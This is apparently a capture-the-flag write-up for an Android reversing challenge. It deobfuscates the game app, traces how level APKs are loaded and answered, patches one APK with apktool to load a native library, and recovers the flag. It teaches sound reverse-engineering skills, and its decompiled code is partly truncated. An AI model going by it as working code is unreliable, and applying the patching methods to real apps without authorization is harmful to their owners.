            intent = new Intent(view.getContext(), C.class);
            str = "Level01";
        case /* 2131230823 */:
            intent = new Intent(view.getContext(), C.class);
            str = "Level02";
        case /* 2131230824 */:
            intent = new Intent(view.getContext(), C.class);
            str = "Level03";
    intent.putExtra("LevelNumber", str);

When you click a button, it will start the new activity C with an extra LevelNumber based on the button you clicked.

Let’s dive into com.example.misc500adventure.C:

Oh no, there are no strings! Most probably they obfuscated this class.

public String f1853o = e.r(-40074581078310L);
public String f1855q = e.r(-40078876045606L);
public String f1856r = e.r(-40065991143718L);
public String f1857s = e.r(-40070286111014L);

Based on our experience, we can quickly tell that it’s obfuscated with Paranoid, but it can be easily deobfuscated with paranoid-deobfuscator. We can get a deobfuscated APK with this tool.

The strings were:

b'Return to main menu'
b'Common Error'
b'The level seems to be broken... How pity! Maybe you should try to fix it.'

The gamebox URL, ab396cd2b1d8a7d4fb5c1e137224004a0261976d and seems promising. We’ve also found The level seems to be broken... How pity! Maybe you should try to fix it., the error message we got in the beginning.

Now with the deobfuscated APK we can work better.

public final void onCreate(Bundle bundle) {
    TextView textView;
    long j2;
    Context applicationContext = getApplicationContext();
    applicationContext.getSharedPreferences("Settings", 0);
    this.f1855q = "";
    this.f1856r = this.f1855q + this.f1857s;
    this.t = (ImageView) findViewById(;
    this.f1858u = (TextView) findViewById(;
    Intent intent = getIntent();
    this.f1853o = intent.getStringExtra("LevelNumber");
    StringBuilder sb = new StringBuilder();
    String sb2 = sb.toString();
    File dir = getDir("LevelDir", 0);
    StringBuilder sb3 = new StringBuilder();
    sb3.append(getDir("LevelDir", 0).getAbsolutePath());
    String sb4 = sb3.toString();
    if (!new File(sb4).exists()) {
        String str = this.f1853o;
        if (str.equals("Level03")) {
            textView = this.f1858u;
            j2 = -41053833621798L;
        } else {
            textView = this.f1858u;
            j2 = -40774660747558L;
        textView.setText("The level seems to be broken... How pity! Maybe you should try to fix it.");
    try {
        Class<?> loadClass = new DexClassLoader(sb4, dir.getAbsolutePath(), null, ClassLoader.getSystemClassLoader().getParent()).loadClass(sb2);
        this.f1854p = loadClass;
        Object newInstance = loadClass.newInstance();
        Button button = (Button) findViewById(;
        button.setText((String) this.f1854p.getMethod("returnFirstOption", new Class[0]).invoke(newInstance, new Object[0]));
        Button button2 = (Button) findViewById(;
        button2.setText((String) this.f1854p.getMethod("returnSecondOption", new Class[0]).invoke(newInstance, new Object[0]));
        Button button3 = (Button) findViewById(;
        button3.setText((String) this.f1854p.getMethod("returnThirdOption", new Class[0]).invoke(newInstance, new Object[0]));
        Button button4 = (Button) findViewById(;
        button4.setText((String) this.f1854p.getMethod("returnFourthOption", new Class[0]).invoke(newInstance, new Object[0]));
        Context context = this.t.getContext();
        Resources resources = context.getResources();
        int identifier = resources.getIdentifier((String) this.f1854p.getMethod("returnQuestImage", new Class[0]).invoke(newInstance, new Object[0]), "drawable", context.getPackageName());
        this.v = identifier;
        ((TextView) findViewById( this.f1854p.getMethod("returnStory", new Class[0]).invoke(newInstance, new Object[0]));
    } catch (ClassNotFoundException | IllegalAccessException | IllegalArgumentException | InstantiationException | NoSuchMethodException | InvocationTargetException e2) {

Inside this onCreate, the app will load the level apk by building the correct path like this getDir("LevelDir", 0).getAbsolutePath() + / + LevelNumber_intent_extra + .apk and its class like this com.example. + LevelNumber_intent_extra.toLowerCase() + . + LevelNumber_intent_extra (for example: Level01 become com.example.level01.Level01), using DexClassLoader.

Here’s Level01 as an example:

public class Level01 {
    public String returnQuestImage() {
        return "dungeongate";

    public String returnFirstOption() {
        return "Try going through the dark corridor";

    public String returnSecondOption() {
        return "Try lighting one of the torch";

    public String returnThirdOption() {
        return "Try throwing an object across the corridor!";

    public String returnFourthOption() {
        return "Go back to home...";

    public String returnStory() {
        return "As soon as you enter the dungeon you find yourself with a long dark corridor in front of you.... There is little light.";

    public String gameStory(String str) {
        return "{\"Level\":\"Level01\",\"Choise\":\"" + str + "\"}";

returnQuestImage is the image, then there are the four options for the buttons, the story and gameStory is the JSON that the app will send to the server.

public void onClick(View view) {
    Context context;
    long j2;
    if (view.getId() == {
        view.getContext().startActivity(new Intent(view.getContext(), D.class));
    try {
        Object newInstance = this.f1854p.newInstance();
        Class<?> cls = this.f1854p;
        Method method = cls.getMethod("gameStory", String.class);
        Object[] objArr = {((Button) findViewById(view.getId())).getText()};
        b bVar = new b();
        bVar.execute(this.f1856r, (String) method.invoke(newInstance, objArr));
        JSONObject jSONObject = new JSONObject(bVar.get());
        String string = jSONObject.getString("response");
        String string2 = jSONObject.getString("endpoint");
        if (!string.startsWith("SUCCEDED:")) {
            if (string.startsWith("DEAD:")) {
            } else {
        Context applicationContext = getApplicationContext();
        SharedPreferences.Editor edit = applicationContext.getSharedPreferences("LevelCompleted", 0).edit();
        StringBuilder sb = new StringBuilder();
        edit.putBoolean(sb.toString(), true);
        ((Button) findViewById("Return to main menu");
        a aVar = new a();
        String str = this.f1853o;
        char c = 65535;
        switch (str.hashCode()) {
            case 1734436965:
                if (str.equals("Level01")) {
                    c = 0;
            case 1734436966:
                if (str.equals("Level02")) {
                    c = 1;
            case 1734436967:
                if (str.equals("Level03")) {
                    c = 2;
        if (c == 0) {
            aVar.execute(this.f1855q + string2, "Level02.apk", e.r(-42174820086054L));
        } else if (c == 1) {
            aVar.execute(this.f1855q + string2, "Level03.apk", e.r(-42076035838246L));
        } else if (c != 2) {
        } else {
            aVar.execute(this.f1855q + string2, "", getApplicationInfo().dataDir);
    } catch (IllegalAccessException | InstantiationException | InterruptedException | NoSuchMethodException | ExecutionException | JSONException unused) {
        context = view.getContext();
        j2 = -42041676099878L;
        Toast.makeText(context, "Common Error", 1).show();
    } catch (InvocationTargetException unused2) {
        context = view.getContext();
        j2 = -41960071721254L;
        Toast.makeText(context, "Common Error", 1).show();

When you click a button, it will send a JSON POST request to with the gameStory String returned from the loaded level APK.

Let’s use this simple script to try the Level01 answers.

import requests

def send(level, choise):
    r =
        json={"Level": level, "Choise": choise},
    return r.json()

print(send("Level01", "Try going through the dark corridor"))
print(send("Level01", "Try lighting one of the torch"))
print(send("Level01", "Try throwing an object across the corridor!"))
{'endpoint': 'none', 'response': "DEAD: The floor opened up, leaving you to fall into a pit of spikes that skewered you, that's very much a cliché isn't it?"}
{'endpoint': 'none', 'response': 'You ligh torch... Seems pretty normal'}
{'endpoint': '738cdd7ae1318b812d3fd6b758e75752fc88e8d6', 'response': 'SUCCEDED: The floor has opened, giving you a glimpse of a deep pit; however, it appears that a door on the right has just opened.'}

We got a valid response with the last one!

Let’s try with It’s another APK, probably Level02, let’s open it with JaDX.

public class Level02 {
    MyAsyncTasks asyncTasks = new MyAsyncTasks();

    public String returnQuestImage() {
        return "gargoyle";

    public String returnFirstOption() {
        return "Take courage and fight it!";

    public String returnSecondOption() {
        return "Try offering him flowers!";

    public String returnThirdOption() {
        return "Try to make friend with him!";

    public String returnFourthOption() {
        return "Go back to home...";

    public String returnStory() {
        return "A monstrous gargoyle is standing in your way! How lucky you are!";

    public String gameStory(String choise) throws JSONException {
        Log.d("TODO", "Bob I think you forgot to add the real answer. It should be the name of the weapon, I don't remember which one you chose, when you're done return it from <backend>/getWeapon");
        return new JSONObject().put("Level", "Level02").put("Choise", choise).toString();

There is a TODO that says that the answer is not in here. Let’s try with It downloads a file name halberd.png. Could this be the real answer?

import requests

def send(level, choise):
    r =
        json={"Level": level, "Choise": choise},
    return r.json()

print(send("Level02", "halberd"))
{'endpoint': 'bf850ea44b0542ff96645c9d0e4160127d1996de', 'response': "SUCCEDED: Wait! How did you get here? Well, great! I'm downloading the level 3 files for you..."}

Yes, it is! Let’s go further. Another APK, same thing.

public class Level03 {
    public native String testAES();

    public String returnQuestImage() {
        return "brutalhelm";

    public String returnFirstOption() {
        return "Fight him to death!";

    public String returnSecondOption() {
        return "Throw the repaired weapon at him!";

    public String returnThirdOption() {
        return "Run away!";

    public String returnFourthOption() {
        return "Go back to home...";

    public String returnStory() {
        return "My god! This is the final boss! (Yes this game is quite short...) Make your choice hero!";

    public String gameStory(String choise) throws JSONException {
        if (!choise.equals("")) {
            try {
                Log.d("TODO", "Bob I think you forgot to add the path to the native library!");
                String value = testAES();
                JSONObject put = new JSONObject().put("Level", "LevelEnding");
                return put.put("Choise", value + "_CorrectAnswer!").toString();
            } catch (Exception | UnsatisfiedLinkError e) {
                return new JSONObject().put("Level", "Level03").put("Choise", choise).toString();
        return new JSONObject().put("Level", "Level03").put("Choise", "My god! This is the final boss! (Yes this game is quite short...) Make your choice hero!").toString();

This time there is also a native testAES(), so there is probably a native lib inside this APK. We found

Let’s try running it like this. Nope, it doesn’t work. Why? Because of this:


You need to call System.load() with an absolute path poiting to a native library.

Let’s patch the APK using Apktool. First, we decode it using:

apktool d -p . -r level03.apk

Then, we search for “TODO”:

grep -R TODO level03
level03/smali_classes4/com/example/level03/Level03.smali:    const-string v0, "TODO"

Lastly, edit level03/smali_classes4/com/example/level03/Level03.smali from this:

.line 43
invoke-static {v0}, Ljava/lang/System;->load(Ljava/lang/String;)V

to this:

.line 43
const-string v0, "/data/data/com.example.misc500adventure/app_LevelSO/"
invoke-static {v0}, Ljava/lang/System;->load(Ljava/lang/String;)V

Let’s copy the patched APK and the .so library and run the app.

Let’s check the logcat using adb logcat:

D TODO    : Bob I think you forgot to add the path to the native library!
D MyLib   : ThisIs_MagicBook
D MyLib   : ޏs�1�&���lr�ThisIs_MagicBook
D MyLib   : 
D MyLib   : CBC decrypt: 
D MyLib   : Avada KedavraThisIs_MagicBook
I System.out: Avada Kedavra

Here it is, our decrypted answer. Let’s send it to the server.

import requests

def send(level, choise):
    r =
        json={"Level": level, "Choise": choise},
    return r.json()

print(send("LevelEnding", "Avada Kedavra_CorrectAnswer!"))

Finally, we got the flag.

{'endpoint': 'None', 'response': '{FLG:wh4t_a_h4ppY_3nd1ng_dud3!}'}
Reply, Coding, Web, Binary, Crypto, Misc, Rev
comments powered by Disqus